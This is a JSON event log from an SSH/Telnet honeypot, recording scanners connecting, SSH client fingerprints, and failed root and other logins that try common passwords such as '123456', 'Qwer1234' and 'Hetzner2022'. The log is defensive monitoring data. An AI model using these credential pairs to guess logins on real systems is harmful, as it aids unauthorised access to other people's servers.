{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:f3:90:b7:ed:38:23:a8:e1:a7:db:77:96:4d:a7:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArvg6rsjvXMX/vd61mWmtEJwkVRmfwrTxJtmmdiycASV7F7gXx/QemTKdpczLTFpTJKW2mF0g4x4ZRhavh1qY9J/U7DzANagwSGPUXZSKp1jAtakn20BXdSggfEBvNHF/gfQt1qPfHyQTrG1y/LxwJMJ+REZOTHHkdMeJzPojqLQK2XH6Uzb5OiQ0lX2weIqfFWD5kc2IbZLkngHhOSmWyqmmHclf8gDd8qFf21e5IP8ovpV7mNoLuRRo4rMqDFx6i/1govJSIr4UIQuwsCGe80c3SyRtSxGlj6/790bQgFu7l9o0VE+WXUVxaCPuwbU0Lo7s12SdVVfDZe1aVXMXaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:f3:90:b7:ed:38:23:a8:e1:a7:db:77:96:4d:a7:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.760114Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:f3:90:b7:ed:38:23:a8:e1:a7:db:77:96:4d:a7:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArvg6rsjvXMX/vd61mWmtEJwkVRmfwrTxJtmmdiycASV7F7gXx/QemTKdpczLTFpTJKW2mF0g4x4ZRhavh1qY9J/U7DzANagwSGPUXZSKp1jAtakn20BXdSggfEBvNHF/gfQt1qPfHyQTrG1y/LxwJMJ+REZOTHHkdMeJzPojqLQK2XH6Uzb5OiQ0lX2weIqfFWD5kc2IbZLkngHhOSmWyqmmHclf8gDd8qFf21e5IP8ovpV7mNoLuRRo4rMqDFx6i/1govJSIr4UIQuwsCGe80c3SyRtSxGlj6/790bQgFu7l9o0VE+WXUVxaCPuwbU0Lo7s12SdVVfDZe1aVXMXaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.763737Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.786787Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:59.185392Z","src_ip":"31.40.204.166","session":"abc805fc4d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.652483463287354,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:00.292081Z","src_ip":"152.42.224.71","session":"ba57a57f072f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:00.311808Z","src_ip":"31.40.204.166","session":"abc805fc4d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":50292,"dst_ip":"159.203.135.109","dst_port":22,"session":"849b29ff6316","protocol":"ssh","message":"New connection: 47.237.167.49:50292 (159.203.135.109:22) [session: 849b29ff6316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:00.594246Z"}
{"eventid":"cowrie.session.closed","duration":96.02458667755127,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:02.819160Z","src_ip":"152.42.224.71","session":"719469de300c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.247383832931519,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:03.414885Z","src_ip":"152.42.224.71","session":"1055d1b9375b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39738,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d709a1b02c4","protocol":"telnet","message":"New connection: 152.42.224.71:39738 (10.17.0.5:23) [session: 1d709a1b02c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:05.872893Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":53078,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7e07d5e62f6","protocol":"ssh","message":"New connection: 43.156.96.97:53078 (10.17.0.5:22) [session: f7e07d5e62f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:05.897313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:05.903404Z","src_ip":"43.156.96.97","session":"f7e07d5e62f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:06.145545Z","src_ip":"43.156.96.97","session":"f7e07d5e62f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234","message":"login attempt [root/Qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:07.131858Z","src_ip":"43.156.96.97","session":"f7e07d5e62f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:08.373333Z","src_ip":"43.156.96.97","session":"f7e07d5e62f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39750,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2af444ee4b0","protocol":"telnet","message":"New connection: 152.42.224.71:39750 (10.17.0.5:23) [session: e2af444ee4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:10.183914Z"}
{"eventid":"cowrie.session.closed","duration":120.00180339813232,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:10.807112Z","src_ip":"152.42.224.71","session":"f0a6d209b316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.100809812545776,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:10.825821Z","src_ip":"152.42.224.71","session":"057f68e5cbaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39894,"dst_ip":"159.203.135.109","dst_port":22,"session":"93747d863dce","protocol":"ssh","message":"New connection: 31.40.204.166:39894 (159.203.135.109:22) [session: 93747d863dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:11.385981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:11.396326Z","src_ip":"31.40.204.166","session":"93747d863dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:11.596051Z","src_ip":"31.40.204.166","session":"93747d863dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:12.182895Z","src_ip":"31.40.204.166","session":"93747d863dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:13.422696Z","src_ip":"31.40.204.166","session":"93747d863dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39766,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fdc4bb3c409","protocol":"telnet","message":"New connection: 152.42.224.71:39766 (10.17.0.5:23) [session: 0fdc4bb3c409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:15.695727Z"}
{"eventid":"cowrie.session.closed","duration":45.95037293434143,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:17.356243Z","src_ip":"152.42.224.71","session":"5659c9b06682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":56296,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba2b5dc0b3de","protocol":"ssh","message":"New connection: 103.91.246.101:56296 (10.17.0.5:22) [session: ba2b5dc0b3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:20.042975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:20.047433Z","src_ip":"103.91.246.101","session":"ba2b5dc0b3de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:20.268598Z","src_ip":"103.91.246.101","session":"ba2b5dc0b3de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"robert","message":"login attempt [root/robert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:21.185887Z","src_ip":"103.91.246.101","session":"ba2b5dc0b3de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.9","message":"Connection lost after 38.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:22.075763Z","src_ip":"47.237.167.49","session":"5c98252d646c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:22.411336Z","src_ip":"103.91.246.101","session":"ba2b5dc0b3de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39974,"dst_ip":"159.203.135.109","dst_port":22,"session":"6446dc3a9e88","protocol":"ssh","message":"New connection: 31.40.204.166:39974 (159.203.135.109:22) [session: 6446dc3a9e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:23.583091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:23.598360Z","src_ip":"31.40.204.166","session":"6446dc3a9e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:23.712883Z","src_ip":"31.40.204.166","session":"6446dc3a9e88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:24.315609Z","src_ip":"31.40.204.166","session":"6446dc3a9e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58050,"dst_ip":"10.17.0.5","dst_port":23,"session":"62b6152861f7","protocol":"telnet","message":"New connection: 152.42.224.71:58050 (10.17.0.5:23) [session: 62b6152861f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:25.157945Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:25.497091Z","src_ip":"31.40.204.166","session":"6446dc3a9e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45090,"dst_ip":"10.17.0.5","dst_port":23,"session":"99131bf7f4e6","protocol":"telnet","message":"New connection: 152.42.224.71:45090 (10.17.0.5:23) [session: 99131bf7f4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:27.152860Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45092,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bac82f8dcd1","protocol":"telnet","message":"New connection: 152.42.224.71:45092 (10.17.0.5:23) [session: 3bac82f8dcd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:28.706219Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45108,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ed38b04a597","protocol":"telnet","message":"New connection: 152.42.224.71:45108 (10.17.0.5:23) [session: 9ed38b04a597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:32.772761Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45122,"dst_ip":"10.17.0.5","dst_port":23,"session":"3af76b7b065b","protocol":"telnet","message":"New connection: 152.42.224.71:45122 (10.17.0.5:23) [session: 3af76b7b065b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:34.723433Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":55570,"dst_ip":"10.17.0.5","dst_port":22,"session":"1be3ceccc5ed","protocol":"ssh","message":"New connection: 170.106.159.59:55570 (10.17.0.5:22) [session: 1be3ceccc5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:35.212021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:35.220944Z","src_ip":"170.106.159.59","session":"1be3ceccc5ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:35.289637Z","src_ip":"170.106.159.59","session":"1be3ceccc5ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37384,"dst_ip":"159.203.135.109","dst_port":22,"session":"04ba0d0e2969","protocol":"ssh","message":"New connection: 31.40.204.166:37384 (159.203.135.109:22) [session: 04ba0d0e2969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:35.303035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:35.307702Z","src_ip":"31.40.204.166","session":"04ba0d0e2969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:35.485307Z","src_ip":"31.40.204.166","session":"04ba0d0e2969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hetzner2022","message":"login attempt [root/Hetzner2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:35.597698Z","src_ip":"170.106.159.59","session":"1be3ceccc5ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade","password":"123456","message":"login attempt [trade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:35.888873Z","src_ip":"31.40.204.166","session":"04ba0d0e2969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:36.668708Z","src_ip":"170.106.159.59","session":"1be3ceccc5ed","protocol":"ssh"}
